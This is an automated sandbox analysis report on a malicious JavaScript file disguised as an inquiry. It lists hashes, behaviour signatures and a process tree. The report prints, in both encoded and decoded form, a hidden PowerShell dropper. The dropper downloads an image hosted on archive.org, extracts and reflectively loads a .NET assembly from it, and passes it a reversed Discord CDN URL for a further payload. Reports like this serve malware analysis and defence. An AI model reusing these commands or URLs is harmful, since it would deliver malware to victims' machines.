Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05-09-2024 14:25

General

  • Target

    INQUIRY#46789-SEPT24.js

  • Size

    598KB

  • MD5

    c8b12fea7ec0d77f7eadb64361e5468a

  • SHA1

    f519767ce53d69819384afc7d545f3c5940ae717

  • SHA256

    337aa8b9b2cdaca9eae51830b6ccc6040339a93f3dd0f1946ffb0a697e4a9bb9

  • SHA512

    9b52cb572f6fdbb1c66ac582e41d2ed8fef9130e311f9b8b2429197c6c0ba7ab3776c5ca2d3140aee6a74ec79d824b0d8410a7b3f4469cf6b07435a89d554542

  • SSDEEP

    12288:SjoTUozZchVveIdNgwQrzQ6EFwg8VfEkNmDDjHO28gKMaNUeRWoTqLzBFdkVVM4X:QwJc8Fl2WI4T8LG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\INQUIRY#46789-SEPT24.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwAmADYANgBjAGUANAAyADQANQA5ADgAYgAxADIAZAAwAGYAZAA3AGYANwBjADkAMwA3ADUAYQBlADgANwBmADIANwAzADYAMAAzADUANAA5ADEANgBkADEAYgAyADEAZAA4AGUAMgBhAGYAZAA1ADcAYwBiADMAMAAxAGIAOAA0ADQAPQBtAGgAJgAyADIANABkADgAZAA2ADYAPQBzAGkAJgAyAGEANQAyAGEAZAA2ADYAPQB4AGUAPwB0AHgAdAAuAGkAcABhAHAALwA1ADgAOAA2ADUAMgA3ADgANwAzADUAMwA2ADAAMAAxADgAMgAxAC8AMgAyADgANgA5ADMANgA3ADkAOQA5ADQANgAyADgAMAA4ADIAMQAvAHMAdABuAGUAbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACcAMQAnACAALAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAgACwAIAAnAHIAaQB6AG8AZwByAGEAZgBpAGEAJwAsACcAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMAMwAyACcALAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&66ce424598b12d0fd7f7c9375ae87f27360354916d1b21d8e2afd57cb301b844=mh&224d8d66=si&2a52ad66=xe?txt.ipap/5886527873536001821/2286936799946280821/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'rizografia','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2780

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    36c0c87613b3f1677bea607a4f25a75d

    SHA1

    f501818e31008b3ef40ee64de379d5354c0ae936

    SHA256

    386e9df6b5d6da6429543ee2b618cc11bee63a2777055a2feab1489a1e196e76

    SHA512

    17ad3f8836c91c9d04a6233872942522c586613da68665e24005f27f9d6f2ad53e19eea4d7ab3f5e20600c99780ae0e0d695e2b70d3625ebdf0f13ab336ce0bb

  • memory/2768-4-0x000007FEF61BE000-0x000007FEF61BF000-memory.dmp

    Filesize

    4KB

  • memory/2768-5-0x000000001B750000-0x000000001BA32000-memory.dmp

    Filesize

    2.9MB

  • memory/2768-7-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

    Filesize

    32KB

  • memory/2768-8-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-10-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-9-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-11-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-17-0x000007FEF5F00000-0x000007FEF689D000-memory.dmp

    Filesize

    9.6MB